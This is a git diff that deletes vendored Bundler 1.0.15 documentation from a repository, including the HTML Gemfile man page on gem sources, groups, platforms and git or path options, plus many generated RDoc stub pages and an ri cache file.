-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       A Gemfile describes the gem dependencies required to execute associated
-       Ruby code.
-
-       Place the Gemfile in the root of the directory containing  the  associ-
-       ated  code.  For instance, in a Rails application, place the Gemfile in
-       the same directory as the Rakefile.
-</pre>
-<p>
-SYNTAX
-</p>
-<pre>
-       A Gemfile is evaluated as Ruby code, in a context which makes available
-       a number of methods used to describe the gem requirements.
-</pre>
-<p>
-SOURCES (source)
-</p>
-<pre>
-       At  the  top of the Gemfile, add one line for each Rubygems source that
-       might contain the gems listed in the Gemfile.
-
-           source &quot;http://rubygems.org&quot;
-           source &quot;http://gems.github.com&quot;
-
-       Each of these _source_s MUST be a valid Rubygems repository.
-</pre>
-<p>
-GEMS (gem)
-</p>
-<pre>
-       Specify gem requirements using the gem method, with the following argu-
-       ments. All parameters are OPTIONAL unless otherwise specified.
-
-   NAME (required)
-       For each gem requirement, list a single gem line.
-
-           gem &quot;nokogiri&quot;
-
-   VERSION
-       Each gem MAY have one or more version specifiers.
-
-           gem &quot;nokogiri&quot;, &quot;&gt;= 1.4.2&quot;
-           gem &quot;RedCloth&quot;, &quot;&gt;= 4.1.0&quot;, &quot;&lt; 4.2.0&quot;
-
-   REQUIRE AS (:require)
-       Each  gem  MAY specify its main file, which should be used when autore-
-       quiring (Bundler.require).
-
-           gem &quot;sqlite3-ruby&quot;, :require =&gt; &quot;sqlite3&quot;
-
-       This defaults to the name of the gem itself. For  instance,  these  are
-       identical:
-
-           gem &quot;nokogiri&quot;
-           gem &quot;nokogiri&quot;, :require =&gt; &quot;nokogiri&quot;
-
-   GROUPS (:group or :groups)
-       Each  gem  MAY  specify  membership in one or more groups. Any gem that
-       does not specify membership in any  group  is  placed  in  the  default
-       group.
-
-           gem &quot;rspec&quot;, :group =&gt; :test
-           gem &quot;wirble&quot;, :groups =&gt; [:development, :test]
-
-       The  Bundler  runtime  allows  its  two main methods, Bundler.setup and
-       Bundler.require, to limit their impact to particular groups.
-
-           # setup adds gems to Ruby's load path
-           Bundler.setup                    # defaults to all groups
-           require &quot;bundler/setup&quot;          # same as Bundler.setup
-           Bundler.setup(:default)          # only set up the _default_ group
-           Bundler.setup(:test)             # only set up the _test_ group (but `not` _default_)
-           Bundler.setup(:default, :test)   # set up the _default_ and _test_ groups, but no others
-
-           # require requires all of the gems in the specified groups
-           Bundler.require                  # defaults to just the _default_ group
-           Bundler.require(:default)        # identical
-           Bundler.require(:default, :test) # requires the _default_ and _test_ groups
-           Bundler.require(:test)           # requires just the _test_ group
-
-       The Bundler CLI allows you to specify a list of groups whose gems  bun-
-       dle  install  should  not install with the --without option. To specify
-       multiple groups to ignore, specify a list of groups separated  by  spa-
-       ces.
-
-           bundle install --without test
-           bundle install --without development test
-
-       After running bundle install --without test, bundler will remember that
-       you excluded the test group in the last installation. The next time you
-       run  bundle  install, without any --without option, bundler will recall
-       it.
-
-       Also, calling Bundler.setup with  no  parameters,  or  calling  require
-       &quot;bundler/setup&quot;  will setup all groups except for the ones you excluded
-       via --without (since they are obviously not available).
-
-       Note that on bundle install, bundler downloads and evaluates all  gems,
-       in  order to create a single canonical list of all of the required gems
-       and their dependencies. This means that you cannot list different  ver-
-       sions  of  the  same  gems  in  different groups. For more details, see
-       Understanding Bundler http://gembundler.com/rationale.html.
-
-   PLATFORMS (:platforms)
-       If a gem should only be used in a particular platform or set  of  plat-
-       forms,  you  can  specify  them. Platforms are essentially identical to
-       groups, except that you do not need to use the  --without  install-time
-       flag to exclude groups of gems for other platforms.
-
-       There are a number of Gemfile platforms:
-
-       ruby   C Ruby (MRI) or Rubinius, but NOT Windows
-
-       ruby_18
-              ruby AND version 1.8
-
-       ruby_19
-              ruby AND version 1.9
-
-       mri    Same as ruby, but not Rubinius
-
-       mri_18 mri AND version 1.8
-
-       mri_19 mri AND version 1.9
-
-       rbx    Same as ruby, but only Rubinius (not MRI)
-
-       jruby  JRuby
-
-       mswin  Windows
-
-       mingw  Windows 'mingw32' platform (aka RubyInstaller)
-
-       mingw_18
-              mingw AND version 1.8
-
-       mingw_19
-              mingw AND version 1.9
-
-       As with groups, you can specify one or more platforms:
-
-           gem &quot;weakling&quot;,   :platforms =&gt; :jruby
-           gem &quot;ruby-debug&quot;, :platforms =&gt; :mri_18
-           gem &quot;nokogiri&quot;,   :platforms =&gt; [:mri_18, :jruby]
-
-       All   operations   involving  groups  (bundle  install,  Bundler.setup,
-       Bundler.require) behave exactly the same as if any groups not  matching
-       the current platform were explicitly excluded.
-
-   GIT (:git)
-       If necessary, you can specify that a gem is located at a particular git
-       repository.       The       repository       can       be        public
-       (http://github.com/rails/rails.git)              or             private
-       (git@github.com:rails/rails.git). If the  repository  is  private,  the
-       user  that you use to run bundle install MUST have the appropriate keys
-       available in their $HOME/.ssh.
-
-       Git repositories are specified using the  :git  parameter.  The  group,
-       platforms,  and  require  options  are available and behave exactly the
-       same as they would for a normal gem.
-
-           gem &quot;rails&quot;, :git =&gt; &quot;git://github.com/rails/rails.git&quot;
-
-       A git repository SHOULD have at least one file,  at  the  root  of  the
-       directory  containing  the  gem, with the extension .gemspec. This file
-       MUST contain a valid gem specification, as expected by  the  gem  build
-       command.  It MUST NOT have any dependencies, other than on the files in
-       the git repository itself and any built-in  functionality  of  Ruby  or
-       Rubygems.
-
-       If  a  git repository does not have a .gemspec, bundler will attempt to
-       create one, but it will not contain any dependencies, executables, or C
-       extension  compilation  instructions. As a result, it may fail to prop-
-       erly integrate into your application.
-
-       If a git repository does have a .gemspec for the gem  you  attached  it
-       to,  a version specifier, if provided, means that the git repository is
-       only valid if the .gemspec specifies a  version  matching  the  version
-       specifier. If not, bundler will print a warning.
-
-           gem &quot;rails&quot;, &quot;2.3.8&quot;, :git =&gt; &quot;git://github.com/rails/rails.git&quot;
-           # bundle install will fail, because the .gemspec in the rails
-           # repository's master branch specifies version 3.0.0
-
-       If  a  git repository does not have a .gemspec for the gem you attached
-       it to, a version specifier MUST be provided. Bundler will use this ver-
-       sion in the simple .gemspec it creates.
-
-       Git repositories support a number of additional options.
-
-       branch, tag, and ref
-              You  MUST only specify at most one of these options. The default
-              is :branch =&gt; &quot;master&quot;
-
-       submodules
-              Specify :submodules =&gt; true to cause bundler to expand any  sub-
-              modules included in the git repository
-
-       If  a  git repository contains multiple .gemspecs, each .gemspec repre-
-       sents a gem located at the same place in the file system as  the  .gem-
-       spec.
-
-           |~rails                   [git root]
-           | |-rails.gemspec         [rails gem located here]
-           |~actionpack
-           | |-actionpack.gemspec    [actionpack gem located here]
-           |~activesupport
-           | |-activesupport.gemspec [activesupport gem located here]
-
-       To  install  a  gem located in a git repository, bundler changes to the
-       directory containing the gemspec, runs gem build name.gemspec and  then
-       installs the resulting gem. The gem build command, which comes standard
-       with Rubygems, evaluates the .gemspec in the context of  the  directory
-       in which it is located.
-
-   PATH (:path)
-       You  can  specify that a gem is located in a particular location on the
-       file system. Relative paths are resolved relative to the directory con-
-       taining the Gemfile.
-
-       Similar  to the semantics of the :git option, the :path option requires
-       that the directory in question either contains a .gemspec for the  gem,
-       or that you specify an explicit version that bundler should use.
-
-       Unlike  :git,  bundler does not compile C extensions for gems specified
-       as paths.
-
-           gem &quot;rails&quot;, :path =&gt; &quot;vendor/rails&quot;
-</pre>
-<p>
-BLOCK FORM OF GIT, PATH, GROUP and PLATFORMS
-</p>
-<pre>
-       The :git, :path, :group, and :platforms options may  be  applied  to  a
-       group of gems by using block form.
-
-           git &quot;git://github.com/rails/rails.git&quot; do
-             gem &quot;activesupport&quot;
-             gem &quot;actionpack&quot;
-           end
-
-           platforms :ruby do
-             gem &quot;ruby-debug&quot;
-             gem &quot;sqlite3-ruby&quot;
-           end
-
-           group :development do
-             gem &quot;wirble&quot;
-             gem &quot;faker&quot;
-           end
-
-       In  the  case of the git block form, the :ref, :branch, :tag, and :sub-
-       modules options may be passed to the git method, and all  gems  in  the
-       block will inherit those options.
-</pre>
-<p>
-GEMSPEC (gemspec)
-</p>
-<pre>
-       If you wish to use Bundler to help install dependencies for a gem while
-       it is being developed, use the gemspec method to pull in the  dependen-
-       cies listed in the .gemspec file.
-
-       The gemspec method adds any runtime dependencies as gem requirements in
-       the default  group.  It  also  adds  development  dependencies  as  gem
-       requirements  in the development group. Finally, it adds a gem require-
-       ment on your project (:path =&gt; '.'). In conjunction with Bundler.setup,
-       this allows you to require project files in your test code as you would
-       if the project were installed as a gem; you  need  not  manipulate  the
-       load path manually or require project files via relative paths.
-
-       The  gemspec  method  supports  optional  :path,  :name,  and :develop-
-       ment_group options, which control where bundler looks for the .gemspec,
-       what  named  .gemspec  it uses (if more than one is present), and which
-       group development dependencies are included in.
-</pre>
-<p>
-SOURCE PRIORITY
-</p>
-<pre>
-       When attempting to locate a gem to satisfy a gem  requirement,  bundler
-       uses the following priority order:
-
-       1.  The source explicitly attached to the gem (using :path or :git)
-
-       2.  For  implicit gems (dependencies of explicit gems), any git or path
-           repository otherwise declared. This results in bundler prioritizing
-           the  ActiveSupport gem from the Rails git repository over ones from
-           rubygems.org
-
-       3.  The sources specified via source, in the order in which  they  were
-           declared in the Gemfile.
-
-                                   May 2011                         GEMFILE(5)</pre>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/remote_specification_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/remote_specification_rb.html
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-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: remote_specification.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>uri</li>
-				
-					<li>rubygems/spec_fetcher</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
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-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/resolver_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/resolver_rb.html
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-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: resolver.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>set</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
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-			<h2>Description</h2>
-			
-		</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/rubygems_ext_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/rubygems_ext_rb.html
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-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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-
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: rubygems_ext.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
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-</head>
-
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-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>pathname</li>
-				
-					<li>rubygems</li>
-				
-					<li>rubygems/specification</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
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-			<h2>Description</h2>
-			
-		</div>
-		
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/rubygems_integration_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/rubygems_integration_rb.html
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-	<script src="../../js/jquery.js" type="text/javascript"
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-			<dd class="requires">
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-				
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-			
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-			<dd class="requires">
-				<ul>
-				
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-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
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-			<dd class="requires">
-				<ul>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
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-			<h2>Description</h2>
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-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/setup_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/setup_rb.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/setup_rb.html
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: setup.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>bundler/shared_helpers</li>
-				
-					<li>bundler</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/shared_helpers_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/shared_helpers_rb.html
deleted file mode 100644
index eaf2bce7..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/shared_helpers_rb.html
+++ /dev/null
@@ -1,58 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: shared_helpers.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>pathname</li>
-				
-					<li>rubygems</li>
-				
-					<li>bundler/rubygems_integration</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/source_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/source_rb.html
deleted file mode 100644
index 8712dbb0..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/source_rb.html
+++ /dev/null
@@ -1,66 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: source.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>uri</li>
-				
-					<li>rubygems/user_interaction</li>
-				
-					<li>rubygems/installer</li>
-				
-					<li>rubygems/spec_fetcher</li>
-				
-					<li>rubygems/format</li>
-				
-					<li>digest/sha1</li>
-				
-					<li>open3</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/spec_set_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/spec_set_rb.html
deleted file mode 100644
index 9053f7a0..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/spec_set_rb.html
+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: spec_set.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:48 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>tsort</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
-	</div>
-</body>
-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/templates/Gemfile.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/templates/Gemfile.html
deleted file mode 100644
index c696b482..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/templates/Gemfile.html
+++ /dev/null
@@ -1,277 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: Gemfile [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/darkfish.js" type="text/javascript"
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-
-<body class="file">
-	<div id="metadata">
-		<div id="home-metadata">
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-          <a href="../../../index.html">Home</a>
-          <a href="../../../index.html#classes">Classes</a>
-          <a href="../../../index.html#methods">Methods</a>
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-				<h3 class="section-header">Files</h3>
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-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle.html">bundle</a></li>
-				
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
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-			</div>
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-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
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-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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-				
-					<li><a href="../../../Bundler.html">Bundler</a></li>
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-					<li><a href="../../../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../../../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../../../Bundler/Definition.html">Bundler::Definition</a></li>
-				
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-				
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../../../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../../../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../../../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
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-					<li><a href="../../../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
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-					<li><a href="../../../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
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-				
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-				
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-				
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-					<li><a href="../../../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
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-					<li><a href="../../../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
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-				
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-				
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-				
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-					<li><a href="../../../Bundler/Source/Path.html">Bundler::Source::Path</a></li>
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-					<li><a href="../../../Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-				
-					<li><a href="../../../Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="../../../Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-				
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-				
-					<li><a href="../../../Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
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-				
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-# gem &#8220;rails&#8220;
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/vendor/thor/core_ext/file_binary_read_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/vendor/thor/core_ext/file_binary_read_rb.html
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-	<title>File: file_binary_read.rb [bundler-1.0.15 Documentation]</title>
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-	<title>File: shell.rb [bundler-1.0.15 Documentation]</title>
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deleted file mode 100644
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-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: task.rb [bundler-1.0.15 Documentation]</title>
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-	<link type="text/css" media="screen" href="../../../../rdoc.css" rel="stylesheet" />
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/vendor/thor_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/vendor/thor_rb.html
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/version_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/version_rb.html
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/vlad_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/vlad_rb.html
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["Object"Thor::Argument["Object@t[@�"Thor::Options["Thor::Arguments"Bundler::Source[@>["Object:modules[a"	File"Bundler::Graph@h"Bundler::Source::Rubygems"Thor::CoreExt::OrderedHash@b"-Thor::CoreExt::HashWithIndifferentAccess"Bundler::GraphNode"Bundler::Index"!Bundler::RemoteSpecification"Thor::UnknownArgumentError"Bundler::Dsl@�"Thor::Actions::CreateFile"Bundler::VersionConflict"'Thor::RequiredArgumentMissingError"%Bundler::Source::Path::Installer@w"Bundler::GitError""Thor::Actions::InjectIntoFile"Thor::Actions::Directory@�"Thor::Shell::Color"Bundler::GemspecError"Bundler::PathError"Bundler::LockfileParser@�@�"Bundler::GemNotFound"Bundler::Resolver"Bundler::Deployment"Bundler::InvalidOption"/Bundler::RubygemsIntegration::AlmostModern"Bundler::Settings"!Bundler::Resolver::SpecGroup@�"Gem::Specification@A"/Bundler::RubygemsIntegration::Transitional"Bundler::UI::Shell"Bundler::Installer"Bundler::LazySpecification"Bundler::Source::Git"$Thor::MalformattedArgumentError"Bundler::DepProxy"Thor::Shell::HTML"Bundler::GemfileError@�"Thor::HiddenTask"Bundler::DeprecatedError@e"Bundler::CLI"Bundler::GemfileNotFound"Bundler::InvalidSpecSet"Bundler::ProductionError@�"Bundler::UI::RGProxy"Bundler::Dependency"Bundler::Runtime"Thor::DynamicTask"Bundler::SpecSet@�",Bundler::RubygemsIntegration::Deprecate@�"Thor::Option"Bundler::Definition"Bundler::GemHelper"Thor::UndefinedTaskError@�"Thor::Options@�@�"Gem::Requirement"Gem::Platform"Thor::CoreExt" Thor::Actions::ClassMethods"Bundler::Source"#Thor::Invocation::ClassMethods"Thor::Util"Thor::Base::ClassMethods"Gem"Thor::Sandbox"Thor::Shell"Thor::Invocation"Bundler::SharedHelpers"3Bundler::RubygemsIntegration::Gem::SourceIndex@�"&Bundler::RubygemsIntegration::Gem"Bundler@�@�"Bundler::GemHelpers
\ No newline at end of file
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/ri/created.rid b/vendor/plugins/bundler/doc/bundler-1.0.15/ri/created.rid
deleted file mode 100644
index a49b60f2..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/ri/created.rid
+++ /dev/null
@@ -1,71 +0,0 @@
-Tue, 14 Jun 2011 09:52:49 -0500
-lib/bundler/vendor/thor/actions/create_file.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/gem_helper.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/rubygems_ext.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/installer.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-benchmark	Tue, 14 Jun 2011 09:52:48 -0500
